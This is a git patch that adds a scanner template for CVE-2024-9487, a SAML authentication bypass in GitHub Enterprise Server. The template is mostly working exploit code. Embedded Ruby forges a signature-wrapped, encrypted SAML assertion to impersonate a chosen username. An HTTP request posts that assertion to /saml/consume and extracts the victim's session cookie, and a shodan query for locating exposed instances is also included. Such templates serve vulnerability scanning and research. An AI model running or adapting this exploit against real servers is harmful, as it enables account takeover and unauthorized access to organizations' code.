From 3599719c4af551e6950362388177c41aea750554 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 11 Nov 2024 03:58:26 +0530 Subject: [PATCH] Create CVE-2024-9487 (GitHub Enterprise - SAML Authentication Bypass) (#11173) * Create CVE-2024-9487.yaml * misc updates * misc update in name --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> Co-authored-by: Sandeep Singh --- http/cves/2024/CVE-2024-9487.yaml | 190 ++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 http/cves/2024/CVE-2024-9487.yaml diff --git a/http/cves/2024/CVE-2024-9487.yaml b/http/cves/2024/CVE-2024-9487.yaml new file mode 100644 index 0000000000..bc7078102a --- /dev/null +++ b/http/cves/2024/CVE-2024-9487.yaml @@ -0,0 +1,190 @@ +id: CVE-2024-9487 + +info: + name: GitHub Enterprise - SAML Authentication Bypass + author: iamnoooob,rootxharsh,pdresearch + severity: critical + description: | + An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program. + reference: + - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass + - https://github.com/advisories/GHSA-g83h-4727-5rpv + classification: + epss-score: 0.00045 + epss-percentile: 0.16808 + metadata: + verified: true + shodan-query: title:"GitHub Enterprise" + tags: github,ghe,saml,auth-bypass,sso + +code: + - engine: + - ruby + + source: | + ## Variable Usage: + # username - Victim Github Username/Email to impersonate. + # SAMLResponse - SAML Response body. + # metadata_url - IDP's Metadata URL. + # RelayState - Relay state associated with the SAML Response body. + + require 'nokogiri' + require 'openssl' + require 'base64' + require 'cgi' + require 'open-uri' + saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse'])) + saml_response = Nokogiri::XML(saml_response_xml) + namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'} + issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text + + metadata_idp_url = (ENV['metadata_url']) + # URL to fetch the XML from + url = "#{ENV['RootURL']}/saml/metadata" + begin + # Open the URL and read the XML + xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read + xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read + # Parse the XML content with Nokogiri + doc = Nokogiri::XML(xml_content) + idp_doc = Nokogiri::XML(xml_content_idp) + + # Extract the ds:X509Certificate + certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#') + audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value + recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value + idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#') + + + # Print the extracted certificate + if certificate + enc_cert = Base64.decode64("#{certificate.text.strip}") + else + puts "ds:X509Certificate not found in the XML." + end + + rescue OpenURI::HTTPError => e + puts "HTTP Error: #{e.message}" + rescue => e + puts "An error occurred: #{e.message}" + end + signed_assertion_xml = <<-XML + issuer_replace2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==cert_replaceuser_replaceaudience_replaceurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportuser_replace + XML + + signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert + doc = Nokogiri::XML(signed_assertion_xml) + + signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) + + cert = enc_cert + cert = OpenSSL::X509::Certificate.new(cert) + public_key = cert.public_key + + # Encrypt the signed assertion node using AES and RSA for key wrapping + def encrypt_assertion(assertion_node, rsa_public_key) + # Create a random AES key for encrypting the data + aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key + + # Encrypt the signed assertion (as an XML string) + cipher = OpenSSL::Cipher.new('AES-256-CBC') + cipher.encrypt + cipher.key = aes_key + + encrypted_data = cipher.update(assertion_node) + cipher.final + + # Encrypt the AES key using the RSA public key + encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4) + + + # Base64 encode both the encrypted data and the encrypted AES key + encrypted_data_b64 = Base64.encode64(encrypted_data) + encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key) + encrypted_assertion_xml = <<-XML + + + + + + + + #{encrypted_aes_key_b64} + + + + + #{encrypted_data_b64} + + + + XML + + Nokogiri::XML(encrypted_assertion_xml) + end + + # Parse the signed assertion into Nokogiri XML document + doc = Nokogiri::XML(signed_assertion_xml) + assertion_node = doc.at('//saml2:Assertion', namespaces) + assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) + assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}" + assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer + assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient + assertion_node_str = assertion_node_str.gsub! "audience_replace", audience + assertion_node_1 = Nokogiri::XML(assertion_node_str) + assertion_node_dup = assertion_node_1.dup + assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove + + assertion_node_dup.xpath('//text()').each do |text_node| + text_node.content = text_node.text.strip + end + + canonical_xml = assertion_node_dup.canonicalize( + Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, + [], # InclusiveNamespaces PrefixList + false # WithComments + ) + + # Compute the SHA-256 Digest + digest = OpenSSL::Digest::SHA256.digest(canonical_xml) + digest_base64 = Base64.encode64(digest).strip + assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64 + final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML) + encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key) + encrypted_assertion_node_str = encrypted_assertion_node.to_xml + + #create new saml doc + + saml_resp_node = saml_response.at('/saml2p:Response', namespaces) + saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces) + saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces) + object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node) + object_node.namespace = saml_resp_sign_node.namespace + object_node.add_child(saml_resp_node.dup) + saml_resp_sign_key_node.add_next_sibling(object_node) + encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str) + encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces ) + saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1) + saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae" + puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML))) + +http: + - raw: + - | + POST /saml/consume HTTP/1.1 + Host: {{Hostname}} + Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}}; + Content-Type: application/x-www-form-urlencoded + + RelayState={{RelayState}}&SAMLResponse={{code_response}} + + matchers: + - type: dsl + dsl: + - 'contains(header,"dotcom_user")' + - 'status_code == 302' + condition: and + + extractors: + - type: kval + kval: + - user_session